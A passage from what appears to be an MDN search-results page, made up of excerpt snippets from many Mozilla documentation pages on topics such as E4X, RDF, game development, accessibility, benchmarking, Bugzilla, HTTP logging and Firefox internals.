... valid alternative to E4X is a non-native JXON algorithm. E4X is standardized by Ecma International in ECMA-357 standard (currently in its second edition, December 2005). E4X is implemented (at least partially) in SpiderMonkey (Gecko's JavaScript engine) and in Rhino (JavaScript engine written in Java). Note: In Gecko 1.8 based browsers such as Firefox 1.5, E4X is already partially enabled for
web page authors. To fully enable E4X, the <script> element needs to have the MIME type "text/javascript;e4x=1" (i.e., have an attribute of the form type="text/javascript;e4x=1"). The difference between the two modes is that without the "e4x=1" MIME type, any statement-level XML/HTML comment literals (<!--...-->) are ignored for backwards compatibility with the comment hiding trick, and CDATA section...
MSX Emulator (jsMSX) - Archive of obsolete content
What is it? jsMSX is the first MSX emulator 100% written in JavaScript. Yes, you read it: JavaScript! It emulates the underlying Z80 CPU, TMS9918 Video Display Processor (VDP), PPI, RAM slots, and Megaram. In its present form, it should be able to run any program or game developed for MSX 1.0. Since JavaScript currently is mostly an interpreted language in
web browsers, it is at least an order of magnitude slower than other languages such as C and Java. Therefore, jsMSX requires a very fast computer to emulate MSX at the normal 50-60 interrupts per second inside a
web browser. Why? The initial motivation was to find some interesting project to develop while exploring the possibilities of the <canvas> tag and JavaScript language in the most recent
web browsers like Firefox 2. As you may have ...
...How to help Lots of work to optimize the performance and add MSX 2.0, 2.0+ and TurboR features are still necessary. Version 1.0 will release an optimized javascript engine for MSX 1.0. Version 2.0, 3.0 and 4.0 will be compatible with MSX 2.0, 2.0+ and TurboR respectively. ...
RDF: Resource Description Framework for metadata - Archive of obsolete content
The RDF metadata model is based upon the idea of making statements about resources in the form of a subject-predicate-object expression, called a triple in RDF terminology. The subject is the resource, the "thing" being described. The predicate is a trait or aspect about that resource, and often expresses a relationship between the subject and the object. ...
... "thing" being described. The predicate is a trait or aspect about that resource, and often expresses a relationship between the subject and the object. The object is the object of the relationship or value of that trait. Documentation Directions of the Mozilla RDF engine This presentation shows new developments in the Mozilla RDF engine. These include plans to expose the RDF API to public
web content, as well as performance and correctness improvements. What is RDF Tim Bray's introduction to the Resource Description Framework, at XML.com. RDF Datasource How-To A cookbook-style document describing how to create a native, client-side datasource that works with Mozilla's RDF implementation. View all... Community View Mozilla forums... Mailing list Newsgroup R...
Server-Side JavaScript - Archive of obsolete content
Here's a radical idea: Use one language to write entire
Web apps -- the same language which billions of
web pages already use, every day. Sounds obvious, but for at least the first twelve years of the
Web's evolution, developers have pretty much had to use different languages on the server from those available in the browser, leading to segregated teams, disparate and inconsistent know-how, and plenty of server-side string manipulation gymnastics to generate HTML or Ajax pages. The simplicity of using JavaScript on the server was part of Netscape's original vision back in the day with Netscape LiveWire. But back then, 350 MHz servers were the best you could buy, and Mozilla was yet to emerge from the Netscape organization to continue to advance the state of
Web technologies. Today...
...provements according to Brendan Eich, Mozilla CTO and creator of JavaScript. Server-Side JavaScript is another way in which, as this article quotes Eich, "Mozilla wants to 'get people thinking about JavaScript as a more general-purpose language' and show them that 'it really is a platform for writing full applications.'" Many vendors today are embedding Mozilla Rhino or Mozilla SpiderMonkey into
Web server environments. Some, like Aptana with the open source Jaxer server actually embed the entire Mozilla Firefox browser engine (including SpiderMonkey) within a
Web server to enable server-side Ajax and server-side DOM access in addition to server-side execution of JavaScript. ...
Writing JavaScript for XHTML - Archive of obsolete content
Whilst authored to the stricter rules of XML, they are sent with the media type for HTML (text/html). The receiving browser considers the content to be HTML, and does not utilise its XML parser. There are a number of reasons for this. Partially it is because, prior to version 9, Internet Explorer was incapable of handling XHTML sent with the official XHTML media type at all. (Rather than displaying content, it would present the user with a file download dialog.) But it is also founded in the experience that JavaScript, authored carefully for HTML, can break when placed with an XML environment. ...
...le of handling XHTML sent with the official XHTML media type at all. (Rather than displaying content, it would present the user with a file download dialog.) But it is also founded in the experience that JavaScript, authored carefully for HTML, can break when placed with an XML environment. This article shows some of the reasons alongside with strategies to remedy the problems. It will encourage
web authors to use more XML features and make their JavaScript interoperable with real XHTML applications. (Note that XHTML documents which behave correctly in both application/xhtml+xml and text/html environments are sometimes known as 'polyglot' documents.) To test the following examples locally, use Firefox's extension switch. Just write an ordinary (X)HTML file and save it once as test.html and...
XForms Custom Controls - Archive of obsolete content
And with these new uses, more and more flexibility will be desired from the controls. Introducing custom controls into your environment may be just the solution you are looking for. For example, you might want to render images that are held inside an instance document or you would like to show a disabled trigger when its bound ...
...And with these new uses, more and more flexibility will be desired from the controls. Introducing custom controls into your environment may be just the solution you are looking for. For example, you might want to render images that are held inside an instance document or you would like to show a disabled trigger when its bound node becomes irreleva...
RDF in Fifty Words or Less - Archive of obsolete content
Okay, so maybe this is a bit more than fifty words, but the key points are pretty simple (and put into bold text for you manager-types who just want to get straight to the point). The Resource Description Framework, or "RDF", is really two things. First, RDF is a graph-based model for describing Internetresources (like
web pages and email messages), and how these resources relate to one another. ...
... two things. First, RDF is a graph-based model for describing Internetresources (like
web pages and email messages), and how these resources relate to one another. But what does that mean,really? To a Mozilla developer, it means that the RDF data model (the "graph") can be used as a mechanism for integrating and organizing Internet resources. Let's look at an example:bookmarks. Right now, most
web browsers let you organize your bookmarks hierarchically intofolders. Each bookmark is apointer to a
web page called a URI (Uniform Resource Identifier). But a
web page is just one kind of Internet resource. There are tons of others, including email messages, UseNet news articles (or entire UseNet news groups), and search results from your favorite
web crawler, just to name a few. And fundamental...
Game promotion - Game development
automatically be promoted by the organizers and other attendees. You'll be rich and famous, or so they say. Many great games get started as a quick, sloppy demo submitted to a competition. If both the idea and the execution are good enough, you will succeed. Plus competitions generally require games to follow a mandatory theme, so you can get creative around a theme if you are stuck for ideas.
Website and blog You should definitely create your own
website containing all the information about your games, so people can see what you've worked on. The more information you can include the better -- you should include screenshots, description, trailer, press kit, requirements, available platforms, support details and more. You'll get bonus points for allowing your users to directly play your ga...
... games will help educate others, increase your reputation in the community, and further improve SEO. A further option is to publish monthly reports that summarize all your progress -- it helps you see what you've accomplished throughout the month and what's still left to do, and it keeps reminding people that your game is coming out soon -- building buzz is always good. While you can create your
website from scratch, there are also tools that can help make the process easier. ManaKeep is a
website builder made for indie game developers and provides a great starting point to create your
website. Presskit() is a press kit builder that helps you create a press page to share with the media. Social media Your social media presence is very important -- follow the right hashtags, make friends, ...
Publishing games - Game development
You can benefit from the
web being truly multiplatform. This series of articles looks at the options you have when you want to publish and distribute your game, and earn something out of it while you wait for it to become famous. ...
...This series of articles looks at the options you have when you want to publish and distribute your game, and earn something out of it while you wait for it to become famous. ...
Explaining basic 3D theory - Game development
Objects Different types of objects are built using vertices. ...
...bject. Texture filtering is applied when the original resolution or the texture image is different from the displayed fragment -- it will be minified or magnified accordingly. Lighting The colors we see on the screen is a result of the light source interacting with the surface colors of the object's material. Light might be absorbed or reflected. The standard Phong Lighting Model implemented in
WebGL has four basic types of lighting: Diffuse: A distant directional light, like the sun. Specular: A point of light, just like a light bulb in a room or a flash light. Ambient: The constant light applied to everything on the scene. Emissive: The light emitted directly by the object. Output merging During the output manipulation stage all the fragments of the primitives from the 3D space a...
Desktop gamepad controls - Game development
The Gamepad API gives you the ability to connect a gamepad to your computer and detect pressed buttons directly from the JavaScript code thanks to the browsers implementing such feature. An API exposes all the information you need to hook up your game's logic and successfully control the user interface and gameplay. ...
...p your game's logic and successfully control the user interface and gameplay. API status, browser and hardware support The Gamepad API is still in Working Draft status, although browser support is already quite good -- around 63% global coverage, according to caniuse.com. The list of supported devices is also quite extensive -- most popular gamepads (e.g. XBox 360 or PS3) should be suitable for
web implementations. Pure JavaScript approach Let's think about implementing pure JavaScript gamepad controls in our little controls demo first to see how it would work. First, we need an event listener to listen for the connection of the new device: window.addEventListener("gamepadconnected", gamepadHandler); It's executed once, so we can create some variables we will need later on for storing t...
Implementing controls using the Gamepad API - Game development
Eventually, extra drivers and plugins allowed us to use console gamepads with desktop games -- either native games or those running in the browser. ...
...Eventually, extra drivers and plugins allowed us to use console gamepads with desktop games -- either native games or those running in the browser. ...
Crisp pixel art look with image-rendering - Game development
The concept Retro pixel art aesthetics are getting popular, especially in indie games or game jam entries. But since today's screens render content at high resolutions, there is a problem with making sure the pixel art does not look blurry. Developers have been manually scaling up graphics so they are shown with blocks that represent pixels. Two downsides to this method are larger file sizes and compression artifacts. ...
...hich prefixes to use depending on the browser. An example Let's have a look at an example. ...
asm.js - Game development
ormance as we can out of it. It makes it easier to collaborate across multiple JS engines because it's easy to talk about and benchmark. The idea is that this kind of code should run very fast in each engine, and if it doesn't, it's a bug and there's a clear spec that engines should optimize for. It also makes it easy for people writing compilers that want to generate high-performant code on the
web. They can consult the asm.js spec and know that it will run fast if they adhere to asm.js patterns. Emscripten, a C/C++ to JavaScript compiler, emits asm.js code to make it run with near native performance on several browsers. Additionally, if an engine chooses to specially recognize asm.js code, there even more optimizations that can be made. Firefox is the only browser to do this right now. a...
...e programming language. asm.js has a very predictable perfomance rate because it is limited to an extremely restricted subset of JavaScript that provides only strictly-typed integers, floats, arithmetic, function calls, and heap accesses. The performance characteristics are closer to native code than that of standard JavaScript. Using a subset of JavaScript asm.js is already supported by major
web browsers. Since asm.js runs in a browser it depends heavily on the browser and the hardware. ...
2D breakout game using Phaser - Game development
implement fundamental game mechanics like rendering and moving images, collision detection, control mechanisms, framework-specific helper functions, animations and tweens, and winning and losing states. To get the most out of this series of articles you should already have basic to intermediate JavaScript knowledge. After working through this tutorial, you should be able to build your own simple
Web games with Phaser. Lesson details All the lessons -- and the different versions of the MDN Breakout game we are building together -- are available on GitHub: Initialize the framework Scaling Load the assets and print them on screen Move the ball Physics Bounce off the walls Player paddle and controls Game over Build the brickfield Collision detection The score Win the game Extr...
...If you are not already familiar with pure JavaScript game development, we would suggest that you first work through this series' counterpart, 2D breakout game using pure JavaScript. After that, you can pick any framework you like and use it for your projects; we have chosen Phaser as it is a good solid framework, with a good support and community available, and a good set of pl...
Mozilla accessibility architecture
They are fired by Gecko whenever nodes in the document are created, moved or changed. Common reasons for these mutations are
web page scripts, and user actions in the editor. We listen to DOM mutation events for several resons: To broa...
...s being fired) nsDocAccessible::OnStateChange(), :nsDocAccessible:OnLocationChange() nsI
WebProgressListener callback EVENT_STATE_CHANGE (MSAA) EVENT_REORDER (ATK) DOM Mutation Events - Multiple Uses DOM mutation events are a great thing. They are fired by Gecko whenever nodes in the document are created, moved or changed. Common reasons for these mutations are
web page scripts, and user actions in the editor. We listen to DOM mutation events for several resons: To broadcast document changes to the assistive technology client. However, on Windows there are crash issues with the automatic Windows-generated versions of EVENT_CREATE and EVENT_DESTROY, so the MSAA client cannot listen to them. We fire the safer EVENT_REORDER in their place.. To see what pa...
Embedding API for Accessibility
th each type of content. The audio file could be a clip of a human voice saying "You've got video" or even a simple beep. How we expose this through the user interface is another matter. Accepting Special Content on an Instance Basis After being notified of special content, the user needs to be able to select specific unloaded content for loading. One way of doing this is to build up the nsI
WebBrowserAccessible interface, so that there is a method to force loading each type of content just for the current page in the current session. Open Issue: Accessibility Settings per URL A powerful possibility is that we design an interface for setting certain preferences based on the URL. If we can find a clean way to present it to the user, this would be extremely useful. For example, setting...
... each type of content just for the current page in the current session. Open Issue: Accessibility Settings per URL A powerful possibility is that we design an interface for setting certain preferences based on the URL. If we can find a clean way to present it to the user, this would be extremely useful. For example, settings per URL would allow a user to accept scripts from their known benign
web pages, but not others. Users may want similarity abilities with applets, background images, style sheets, etc. We have a permissions system for cookies and images based on URL's. Perhaps it can be extended to store accessibility preferences. This is a UI issue we'll need to settle before we know where to go with the embedding accessibility interface. ...
Mozilla's Section 508 Compliance
nge of contrast levels shall be provided. Complete. Mozilla's appearance preferences panel contains a large number of color possibilities. (k) Software shall not use flashing or blinking text, objects, or other elements having a flash or blink frequency greater than 2 Hz and lower than 55 Hz. Complete. Mozilla supports of <blink> and text-decoration: blink in
web pages. In these situations Mozilla blinks 1 Hz, which is within the allowable range and follows the stricter MIL-STD standard. (l) When electronic forms are used, the form shall allow people using assistive technology to access the information, field elements, and functionality required for completion and submission of the form, including all directions and cues. Par...
... are used, the form shall allow people using assistive technology to access the information, field elements, and functionality required for completion and submission of the form, including all directions and cues. Partially complete. See functional performance criteria below. Screen reader access is currently being tested. An extension called Ad Block helps remove extra noisy content from
web pages that clutter accessibility. Functional Performance Criteria Requirement Windows Linux/UNIX Mac OS Requirement Windows Linux/UNIX Mac OS a) At least one mode of operation and information retrieval that does not require user vision shall be pr...
Mozilla’s UAAG evaluation report
The UAAG document contains a very rich set of accessibility guidelines, that broadly define how accessibility should be implemented by any user agent, i.e. software that renders
web content. The UAAG is not the basis for any government accessibility regulations at this time. This document is based on the September 12, 2001 Candidate Recommendation of UAAG 1.0. This may be different from the most recent version, check for updates on the User Agent Working Group home page. Look to the "techniques" document for real-world implementation examples of each checkpoint. This UAAG evaluation report covers nightly builds of the Mozilla
web browser itself, running on Windows 2000, as of February 20, 2002. We are claiming to support HTML 4, CSS 2, PNG, JPG and GIF. This evaluation does not cover ...
...figuration and customization. Checkpoint Title Status Notes/plans 11.1 Current user bindings. (P1) G Menus indicate accesskey and accelerator configurations Accelerators not show in button tooltips No centralized key bindings informational resource for end-users, only developer documentation 11.2 Current author bindings. (P2) NI The
web page itself is currently responsible for letting the user know what accesskey's are available. 11.3 Override bindings. (P2) P Some bindings can be changed. See "the customizing document" There is no central place to change all bindings. Unforutunately, some are hard coded. Needs work. Bug#? 11.4 Single key access. (P2) NI Bug 953707 is our open bug for t...
Benchmarking
ics gathered by such builds are largely unrelated to what would be found in a release browser. Rust optimization level Local optimized builds are compiled with rust optimization level 1 by default, unlike Nightly builds, which use rust optimization level 2. This setting reduces build times significantly but comes with a serious hit to runtime performance for any rust code (for example stylo and
webrender). Add the following to your mozconfig in order to build with level 2: ac_add_options RUSTC_OPT_LEVEL=2 GC Poisoning Many Firefox builds have a diagnostic tool that causes crashes to happen sooner and produce much more actionable information, but also slow down regular usage substantially. In particular, "GC poisoning" is used in all debug builds, and in optimized Nightly builds (but not ...
... Accelerated Graphics Especially on Linux, accelerated graphics can sometimes lead to severe performance problems even if things look ok visually. Normally you would want to leave acceleration enabled while profiling, but on Linux you may wish to disable accelerated graphics (Preferences -> Advanced -> General -> Use hardware acceleration when available). Flash Plugin If you are profiling real
websites, you should disable the Adobe Flash plugin so you are testing Firefox code and not Flash jank problems. In about:addons > Plugins, set Shockwave Flash to "Never Activate". Timer Precision Firefox reduces the precision of the Performance APIs and other clock and timer APIs accessible to
Web Content. They are currently reduce to a multiple of 2ms; which is controlled by the privacy.reduceTim...
Testopia
l Perl Modules: Text::CSV XML::Schema Validator XML::Schema::Parser (for importer) and JSON 2.10 TODO User preferences Notification emails More Reports See the Roadmap and Bug List for more details. ...
...Schema::Parser (for importer) and JSON 2.10 TODO User preferences Notification emails More Reports See the Roadmap and Bug List for more details. ...
What to do and what not to do in Bugzilla
permissions quickly. Canconfirm privilege The canconfirm privilege allows you to confirm bugs and also to start your bug reports in the confirmed state (NEW). It also governs which bug entry form you are presented with first (either the guided or advanced forms). Confirming unconfirmed bugs A useful general guide for confirming unconfirmed bugs. A guide for confirming layout bugs (bugs in
web page rendering) Reporting new bugs You should report a bug in the NEW state after going through the triaging process as described in the two above-mentioned guides. You should look at all the open bugs you've reported (see the "My Bugs" link at the bottom of every Bugzilla page) at least every two months and test whether they still exist. Editbugs privilege The more powerful editbugs privil...
...ed behavior. The exceptions are bugs in other software which we have to work around and bugs that involve certain core Gecko modules. Bugs covered by this exception should not be INVALIDated by anyone other than the module owner or module peer; for bugs involving modules like Layout or Content, attach a test case to the bug and then CC one of the owners or peers. Reports of problems with specific
websites that result from bad coding practices already determined to be "tech evangelism" cases by the module owner or peer, or problems that result from the use of proprietary technology, should be be moved to the Tech Evangelism product rather than being resolved as INVALID. Resolving bugs as FIXED Resolve a bug as FIXED if the bug has been fixed by a checkin into the Mozilla Mercurial code repos...
Creating MozSearch plugins
and the parameters that need to be passed to that URL. Warning: MozSearch is non-standard and is intended for internal use within Mozilla projects only. It should only be used if your intention is to distribute the search plugin packaged in a Firefox extension, or if you are creating plugins meant to be shipped by default in a Firefox build. For creating search plugins for installation from the
web, see Creating OpenSearch plugins for Firefox The plugin file The MozSearch format is similar to the OpenSearch format. The only difference is the root element and XML namespace. Example: searching Yahoo! The following XML is the bundled Firefox 2 search plugin for searching using Yahoo!: <SearchPlugin xmlns="http://www.mozilla.org/2006/browser/search/"> <ShortName>Yahoo</ShortName> <Descript...
....com/</SearchForm> </SearchPlugin> Let's say the user chooses to use the Yahoo! search engine plugin and enters "mozilla" in the search box and presses the enter key. Firefox will use the above search engine description to construct the following search URL: http://search.yahoo.com/search?p=mozilla&ei=UTF-8&fr=moz2 If the user clicks the magnifying glass icon in the search bar, or chooses the
Web Search option in the Tools menu when the search bar isn't visible, the browser will take them to http://search.yahoo.com/, the value of the <SearchForm> element. Example: searching MDC This plugin lets you easily search the Mozilla Developer Center
web site. <SearchPlugin xmlns="http://www.mozilla.org/2006/browser/search/"> <ShortName>MDC</ShortName> <Description>Mozilla Developer Center searc...
HTTP logging
HTTP logging generally provides more detailed logging. Using about:networking This is available starting with Firefox 52. This is the best and easiest way to do HTTP logging. At any point during while your browser is running, you can turn logging on and off. This allows you to capture only the "interesting" part of the browser's behavior (i.e. ...
..." into the URL bar. Go to the "Logging section" Adjust the location of the log file if you don't like the default Adjust the list of modules that you want to log: this list has the exact same format as the MOZ_LOG environment variable (see below). Generally the default list is OK, unless a Mozilla developer has told you to modify it. Click on Start Logging. Reproduce the bug (i.e. go to the
web site that is broken for you and make the bug happen in the browser) Make a note of the value of "Current Log File". Click on Stop Logging. Go to the folder containing the specified log file, and gather all the log files. You will see several files that look like: log.txt-main.1806, log.txt-child.1954, log.txt-child.1970, etc. This is because Firefox now uses multiple processes, and each proce...
The Firefox codebase: CSS Guidelines
0%,.2); } } Not this: #placesList { box-shadow: inset -2px 0 0 hsla(0,0%,100%,.2); } @media (-moz-mac-yosemite-theme) { #placesList { box-shadow: none; } } Theme support Firefox comes built-in with 3 themes: default, light and dark. The built-in light/dark themes are a bit special as they load the compacttheme.css stylesheet. In addition to this, Firefox supports a variety of
WebExtension themes that can be installed from AMO. For testing purposes, here is an example of a
WebExtension theme. Writing theme-friendly CSS Some CSS variables that are pre-adjusted for different platforms are also pre-adjusted for themes, so it's again a good idea to use them for theme support. The text color of elements often contains valuable information from the theme colors, so currentc...
...djusted for different platforms are also pre-adjusted for themes, so it's again a good idea to use them for theme support. The text color of elements often contains valuable information from the theme colors, so currentcolor/inheritance is again a good idea for theme support. Never write CSS specially for the built-in light/dark theme in compacttheme.css unless that CSS isn't supposed to affect
WebExtension themes. These selectors can be used to target dark areas: :-moz-lwtheme-brighttext: dark window frame. :root[lwt-toolbar-field-brighttext]: dark address bar and searchbar. :root[lwt-popup-brighttext]: dark arrow panels and autocomplete panels. :root[lwt-sidebar-brighttext]: dark sidebars. If you'd like a different shade of a themed area and no CSS variable is adequa...
Contributing to the Mozilla code base
ft Contribute to Firefox Focus for iOS Mozilla Hubs Javascript and/or HTML/CSS, VR Contribute to Mozilla Hubs Servo Rust Contribute to Servo There are even many ways to contribute to the Mozilla mission without programming. If getting involved in design, support, translation, testing, or other types of contributions sparks your interest please see community
webiste. Perhaps you do not know programming yet, but you want to start learning? There are plenty of resources available on the MDN
Web Docs! Step 1: Find something to work on Bugs listed as 'Assigned' are not usually a good place to start unless you're sure you have something worthy to contribute. Someone else is already working on it! Even with no assignee, it is polite to check if someone has ...
...ping?', check the "Need more information from" box, and add the reviewer's name. If they don't respond within a day or two, you can ask for help on Matrix in the #introduction:mozilla.org or #developers:mozilla.org channels, or contact Mike Hoye directly. Don't hesitate to contact your mentor as well if this isn't moving. Step 4: Repeat Thank you! You've fixed your very first bug, and the Open
Web is stronger for it. But don't stop now. Go back to step 1, as there is plenty more to do. Your mentor might suggest a new bug for you to work on, or find one that interests you. Now that you've got your first bug fixed you should request level 1 access to the repository to push to the try server and get automated feedback about your changes on multiple platforms. After fixing a nontrivial numbe...
Multiple Firefox profiles
eir copy of Firefox. You can find details about profiles on Mozilla's end-user support site. Reasons to have multiple profiles The casual user may want to have different profiles for work and personal use, or different family members. Having different profiles would help separate work and personal life, or allow each family member to have his or her own set of bookmarks, settings, and add-ons.
Web developers might want a secondary profile for testing
websites, apps, or other projects on different Firefox channels. For example, you might want to have some extensions installed for
Web development, but not for general-purpose
Web browsing. While using the Nightly channel, you may encounter some add-ons that have become temporarily incompatible with new API changes, until the add-on developer ...
...profile deletion. Renaming a profile In the Profile Manager, select the profile you want to rename, and then click "Rename Profile". Enter a new name for the profile and click on OK. Note: The folder containing the files for the profile is not renamed. Options Work offline Choosing this option loads the selected profile, and starts Firefox offline. You can view previously viewed
web pages, and experiment with your profile. Don't ask at startup If you have multiple profiles, Firefox prompts you for the profile to use each time you start Firefox. Select this option to allow Firefox to load the selected profile, without prompting at startup. Note: To access other profiles after selecting this option, you must start the Profile Manager first. Using the profiles Windows I...
Process scripts
However, a problem with frame scripts is that they can be loaded multiple times in the content process, in multiple scopes that are insulated from each other. For example, if you call the global frame message manager's loadFrameScript() function, then the script will be loaded separately into all open tabs. ...
...tent to chrome only process scripts are system-privileged, and have access to the Components object. However, process scripts are subject to the same kinds of limitations as frame scripts (for example, no file system access). process scripts stay loaded until their host process is closed. the environment for process scripts is similar to that for frame scripts. However, you don't get access to
web content or DOM events from a process script. Retrieving the content frame message manager for a content window When an observer notification in a process script contains a content document or window it can be useful to not use talk through the child/parent process message managers but through the window's content frame message manager, e.g. if responses should be processed by a frame script in...
Message manager
These guides explain how to use message managers in multiprocess Firefox. Note that none of this requires multiprocess Firefox: everything described here will work with single-process Firefox, so the same code will work on both variants. ...
... These guides explain how to use message managers in multiprocess Firefox. Note that none of this requires multiprocess Firefox: everything described here will work with single-process Firefox, so the same code will work on both variants. ...
Tracking Protection
for Android), Firefox will block content loaded from domains that track users across sites. If blocked content is part of the page layout, users may notice layout issues where Firefox blocked these loads. Sometimes users won't notice at all, if the page grid works such that other page elements slide in to fill holes left by blocked elements. When Firefox blocks content, it logs a message to the
Web Console like this: The resource at "http://some/url" was blocked because tracking protection is enabled. Note that with Firefox for Android, you can access console output using the remote debugger. Click the (i) symbol in the address bar to view information about the currently loaded page. The popup that appears will notify you when content has been blocked. You will also be able to disable...
...oose what to block? Content is blocked based on the domain from which it is to be loaded. Firefox ships with a list of sites which have been identified as engaging in cross-site tracking of users. When tracking protection is enabled, Firefox blocks content from sites in the list. Sites that track users are most commonly third-party advertising and analytics sites. What does this mean for your
website? Most obviously, it means that when tracking protection is enabled: content served from third-party trackers will not be visible to users your site won't be able to use third-party advertising or analytics services that engage in tracking More subtly, if other parts of your site depend on trackers being loaded, then these parts will also be broken when tracking protection is enabled. F...
Firefox
Firefox is an open source project; much of the code is contributed by our huge community of volunteers. Here you can learn about how to contribute to the Firefox project and you will also find links to information about the construction of Firefox add-ons, using the developer tools in Firefox, and other topics. ...
...oxThis page lists features that are in Nightly versions of Firefox along with information on how to activate them, if necessary.Firefox and the "about" protocolThere is a lot of useful information about Firefox hidden away behind the about: URL protocol. The most useful is the URL about:config, which displays preferences and settings that can be inspected and changed.Firefox UI considerations for
web developersThere are a number of places within the Firefox user interface where
web sites are listed for the user to choose a destination to visit or a site to manage in some way. One example is the new tab page, which includes a "Top Sites" section showing sites you visit that Firefox thinks you're likely to want to visit again, as well as potentially some sites that have been pinned to always ap...
Firefox Operational Information Database: SQLite
The SQLite Manager add-on allows convenient browsing of this information. (Install the SQLite Mangager add-on, click Tools -> SQLite Manager. ...
... select one of the tables listed in the left column and see the current contents of the database in the 'Browse & Search' tab.) Some databases are used by the browser itself, others are used by applications that you have installed or used; for example: content-prefs.sqlite cookies.sqlite download.sqlite formhistory.sqlite persmissions.sqlite places.sqlite search.sqlite signons.sqlite
webappstore.sqlite ...
HTMLIFrameElement.getStructuredData()
There may also be large incompatibilities between implementations and the behavior may change in the future. The getStructuredData() method of the HTMLIFrameElement interface retrieves any structured microdata (and hCard and hCalendar microformat data) contained in the HTML loaded in the browser <iframe> and returns it as JSON. ...
...ned on the page loaded in the browser. Parameters None. Examples var browser = document.querySelector('iframe'); browser.addEventListener('mozbrowserloadend',function() { var request = browser.getStructuredData(); request.onsuccess = function() { console.log(request.result); } }); Running this code in a Browser API app and then loading up a page that contains microdata (such as the
website of British alt-country band Salter Cane) will result in a JSON object being returned, along the lines of: { "items": [ { "type":["http://microformats.org/profile/hcard"], "properties":{"fn":["Chris Askew"], "n":[ { "properties": { "given-name":["Chris"], "family-name":["Askew"], ... Sp...
mozbrowsermetachange
There may also be large incompatibilities between implementations and the behavior may change in the future. The mozbrowsermetachange event is fired when a <meta> element related to
web applications is added, removed or changed. See below for the applicable types. ...
... Non-standard This feature is non-standard and is not on a standards track. Do not use it on production sites facing the
Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future. The mozbrowsermetachange event is fired when a <meta> element related to
web applications is added, removed or changed. See below for the applicable types. General info Specification Non standard Interface CustomEvent Bubbles Yes Cancelable Yes Target <iframe> Default Action None Properties Property Type Description target Read only EventTarget The browser iframe type Read only DOMString The type of event. bubbles Read onl...
ChromeWorker
There may also be large incompatibilities between implementations and the behavior may change in the future. Summary If you're developing privileged code, and would like to create a worker that can use js-ctypes to perform calls to native code, you can do so by using ChromeWorker instead of the standard Worker object. It works exactly like a standard Worker, except that it has access to js-ctypes via a global ctypes object available in the global scope of the worker. ...
...ocolHandler('resource'). QueryInterface(Ci.nsIResProtocolHandler). setSubstitution('my-cool-addon', fileuri); var worker = new Worker('resource://my-cool-addon/worker.js'); More references: You can use ChromeWorker from JavaScript code modules. See Using workers in JavaScript code modules for details. You can use ChromeWorker modules in ChromeWorkers. See Using
web workers for examples and details. See Also Using
web workers Using workers in JavaScript code modules Worker SharedWorker
Web Workers specification WorkerGlobalScope GitHub :: ChromeWorker - A fully working demo addon using js-ctypes from a chrome worker. Uses WinAPI example. PromiseWorker GitHub :: PromiseWorker - Shows how to uses promises as an twist on postMessage feature of...
Hacking with Bonsai
The Process Everyone who checks into the tree, joins a group called "the hook" At 8:00 AM PST every weekday morning, the source tree is closed. The build team will then pull the 8:00 AM tree, and build it on a subset of the platforms, Linux, Win32 & MacPPC. At 10:00 AM, everyone who is on the hook is available in case the build breaks Eventually, the tree builds, and it is re-opened. There is a
web page, which records If the tree is OPEN or CLOSED What the date stamp of the last known good tree is Who is on the hook for the current tree Before the tree is opened, the list of checkins that happened when the tree was closed is reviewed to insure that only build related checkins took place. Before the tree is opened, there is a car pool lane where people who have been off on a branch and ne...
... checkins took place. Before the tree is opened, there is a car pool lane where people who have been off on a branch and need a stable tip to merge in can pull the tip for their merge. These people, when they check in, will be "on the hook" for the next day's build. The car pool lane is only available to those who arrange access ahead of time with the release team. When the tree is re-opened, the
web page is updated and the hook is cleared. Use the bonsai query tool to see what's been checked in to the tree lately and to look at differences between versions. Read the introduction to bonsai for more information about queries. The rules No checkins when the tree is closed unless you are fixing a build problem at the request of a build person. If you are on the hook, your top priority is to be...
Implementing Download Resuming
The entity ID is what ensures that the file remains unchanged. This can also be used to check whether the download is resumable: if it is not (e.g. the server is not using HTTP 1.1), then accessing this attribute will throw an NS_ERROR_NOT_RESUMABLE exception. If the download gets interrupted, Necko will call the stream listener's onStopRequest method with a failure status. (TODO: document what
webbrowserpersist/exthandler do). The front-end code can then notify the user of this, and offer to resume the download. Resuming a download In order to resume a download, you should create a channel as usual (using nsIIOService). Then, you can check if it implements nsIResumableChannel. If it does not, the protocol does not support resuming. Otherwise, call resumeAt with the desired start positio...
...o the file in the onDataAvailable notifications. You may want to use nsISimpleStreamListener to simplify this task; to get progress notifications, you can implement nsIProgressEventSink and set an interface requester as the notificationCallbacks of the channel that gives out such an event sink (this needs to be done before calling asyncOpen). Note: In versions of Firefox prior to 3.0 alpha 7, nsI
WebBrowserPersist cannot append to existing files (as opposed to overwriting them), and is therefore not usable for this task (see bug 129921). Detecting when a file changed If the file changed (that is, the entity ID does not match), then Necko will notify the stream listener with an NS_ERROR_ENTITY_CHANGED error code. The front-end may want to offer the user to get the new file from scratch in su...
Add-on Repository
URL of the repository site's home page. isSearching boolean true if a search is currently in progress; otherwise false. Methods getRecommendedURL() Returns the URL that can be visited to see recommended add-ons. string getRecommendedURL(); Parameters None. Return value An URL indicating the repository's page of recommended add-ons. getSearchURL() Returns an URL of a
web page that can be visited to see search results for the specified search terms. string getSearchURL( in string searchTerms ); Parameters searchTerms Search terms used to search the repository. Return value The URL of the search results page for the specified search terms. cancelSearch() Cancels the search in progress. Does nothing if there is no search in progress. void cancelSearch(...
...results will be delivered. searchAddons() Begins a search for add-ons in this repository. Results will be passed to the given callback. string searchAddons( in string searchTerms, in integer maxResults, in SearchCallback callback ); Parameters searchTerms The search terms to pass to AMO. The results will match what you would get if you typed this string in the search box on the AMO
web site. maxResults The maximum number of results to return. callback The SearchCallback callback to pass results to. ...
source-editor.jsm
The editor provided is Eclipse Orion. ...
...The editor provided is Eclipse Orion. ...
QA phase
After all of your hard work localizing we're sure that you not only want to see your work but you want to make sure it's accurate! If you don't have a lot of experience with code, you might even be concerned that you've broken something (oops!). Now we'll walk you through performing some quality assurance testing on your work to make sure you're on the right track. If you're localizing Mozilla
websites, your work will display soon after you've committed it without needing a language pack. Since such is the case, this part of the guide may not be entirely applicable to you. Feel free to skip ahead to the next section by clicking on the Next link at the bottom of the page. In order to see your work on Firefox (or another Mozilla application), you'll need to have a built language pack to ins...
...y, which will serve as a backup for your work and will let others follow your progress. We're going to go through the process below. The official localization teams use repositories at hg.mozilla.org. Before a team becomes official, we like to get the localizers comfortable with the Hg commands that allow for cloning, pulling, committing, and pushing work to an experimental repository. We use a
